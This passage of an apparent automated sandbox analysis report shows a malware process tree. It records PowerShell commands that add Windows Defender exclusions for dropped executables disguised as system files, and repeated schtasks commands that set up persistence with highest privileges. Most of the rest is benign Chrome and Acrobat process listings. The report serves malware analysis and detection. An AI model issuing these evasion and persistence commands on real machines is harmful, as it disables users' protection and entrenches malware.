        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\dllhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\dllhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Internet Explorer\de-DE\System.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\SoftwareDistribution\dwm.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\de-DE\smss.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\pFKA1hMsp9.bat"
        7⤵
        
        PID:1572
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:4852
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:1960
        
        C:\Program Files\Internet Explorer\de-DE\System.exe
        
        "C:\Program Files\Internet Explorer\de-DE\System.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2068

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\main.py"
  2⤵
  - Checks processor information in registry
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E8B93F72111F44336CD255B446206738 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4860
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D18F9EA360C792231AA9B4B02A8EB621 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D18F9EA360C792231AA9B4B02A8EB621 --renderer-client-id=2 --mojo-platform-channel-handle=1912 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5C30A76E02FDB09E503A75A0D4CDDD4D --mojo-platform-channel-handle=2296 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:1296
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A45AD805316251B7CF9BFEFAE3270408 --mojo-platform-channel-handle=2440 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4524
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=EF321E0641D2160459A995AF914977B4 --mojo-platform-channel-handle=2516 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Recent\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default\Recent\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Recent\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Internet Explorer\de-DE\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\de-DE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Internet Explorer\de-DE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\SoftwareDistribution\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\All Users\SoftwareDistribution\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\SoftwareDistribution\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\de-DE\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\de-DE\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Defender\de-DE\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3068

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff95e3acc40,0x7ff95e3acc4c,0x7ff95e3acc58
  2⤵
  PID:2428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1800,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=1768 /prefetch:2
  2⤵
  PID:2100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2020,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2116 /prefetch:3
  2⤵
  PID:1604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2192,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2396 /prefetch:8
  2⤵
  PID:3268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3184 /prefetch:1
  2⤵
  PID:1464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3276,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:3464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4452,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4480 /prefetch:1
  2⤵
  PID:4576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4680,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4688 /prefetch:8
  2⤵
  PID:1476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4676,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4632 /prefetch:8
  2⤵
  PID:3120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4016,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4912 /prefetch:8
  2⤵
  PID:4744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5008,i,4416838527758958853,9653525160410196855,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4376 /prefetch:8
  2⤵
  PID:4424

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:4504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff94be5cc40,0x7ff94be5cc4c,0x7ff94be5cc58
  2⤵
  PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1952,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=1948 /prefetch:2
  2⤵
  PID:660
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1804,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2092 /prefetch:3
  2⤵
  PID:972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2216,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=2232 /prefetch:8
  2⤵
  PID:5040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:4608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3112,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3332 /prefetch:1
  2⤵
  PID:1208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4488,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4504 /prefetch:1
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4620,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4616 /prefetch:8
  2⤵
  PID:816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4580,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4728 /prefetch:8
  2⤵
  PID:2932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4156,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4352 /prefetch:1
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4616,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4336 /prefetch:8
  2⤵
  PID:4220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5032,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5040 /prefetch:8
  2⤵
  PID:1416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4912,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:2692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=3332,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:4228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=4876,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=4744 /prefetch:1
  2⤵
  PID:4640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5272,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3304 /prefetch:8
  2⤵
  PID:3040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5260,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5400 /prefetch:8
  2⤵
  PID:3016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=212,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5536 /prefetch:1
  2⤵
  PID:1212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=4976,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5004 /prefetch:1
  2⤵
  PID:1464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5572,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5652 /prefetch:8
  2⤵
  PID:4216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5796,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=3540 /prefetch:8
  2⤵
  PID:5064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5640,i,11905269068167493444,2901816666853615759,262144 --variations-seed-version=20240418-180204.077000 --mojo-platform-channel-handle=5660 /prefetch:8
  2⤵
  - NTFS ADS
  PID:1520
- C:\Users\Admin\Downloads\winrar-x64-700.exe
